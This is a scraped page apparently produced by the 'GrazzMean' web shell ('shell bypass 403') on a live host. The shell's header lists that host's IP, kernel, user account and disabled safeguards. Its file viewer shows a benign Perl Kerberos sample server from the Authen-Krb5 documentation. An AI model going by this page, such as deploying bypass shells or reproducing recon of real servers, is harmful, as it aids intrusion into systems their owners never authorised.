shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Authen-Krb5/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 18.216.122.2
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : simple_server
#!/usr/bin/perl

# simple_server
# uses rd_req & rd_priv to decrypt an authentic encrypted message

use blib; # remove if not in module build directory
use IO::Socket;
use Sys::Hostname;
use Authen::Krb5 (ADDRTYPE_INET,ADDRTYPE_IPPORT,KRB5_NT_SRV_HST);

# replace with your own stuff
$SERVICE = "sample";
$KEYTAB_FILE = "/etc/krb5.keytab";

chomp($SERVER = hostname());

Authen::Krb5::init_context();

$ac = new Authen::Krb5::AuthContext;

$s = new IO::Socket::INET(
	LocalAddr => $SERVER,
	LocalPort => 12345,
	Proto => 'tcp',
	Reuse => 1,
	Listen => 5
);
defined $s or die $!;

$ns = $s->accept();

# grab the client's address
$addr = new Authen::Krb5::Address(ADDRTYPE_INET,pack("N",$ns->peeraddr()));
$ports = new Authen::Krb5::Address(ADDRTYPE_IPPORT,pack("n",$ns->peerport()));

# get authentication info
while (defined($line = <$ns>)) {
	$d .= $line;
	if ($line =~ /__END$/) {
		chomp $d;
		$d =~ s/__END$//;
		last;
	}
}

# get encrypted message
while (defined($line = <$ns>)) {
	$enc .= $line;
	if ($line =~ /__END$/) {
		chomp $enc;
		$enc =~ s/__END$//;
		last;
	}
}

$sprinc = Authen::Krb5::sname_to_principal($SERVER,$SERVICE,KRB5_NT_SRV_HST);
$kt = Authen::Krb5::kt_resolve("FILE:$KEYTAB_FILE");
$t = Authen::Krb5::rd_req($ac,$d,$sprinc,$kt);
unless ($t) {
	print "rd_req error: ",Authen::Krb5::error(),"\n";
	exit(1);
}

$client = $t->enc_part2->client;
print "Hello, ",$client->data,"\n";

# set the remote address
$ac->setaddrs(undef,$addr);
$ac->setports(undef,$ports);

# decrypt the message
$dec = Authen::Krb5::rd_priv($ac,$enc);
unless ($dec) {
	print "rd_priv error: ",Authen::Krb5::error(),"\n";
	exit(1);
}

print "Decrypted message is: '$dec'\n";

Authen::Krb5::free_context();
© 2025 GrazzMean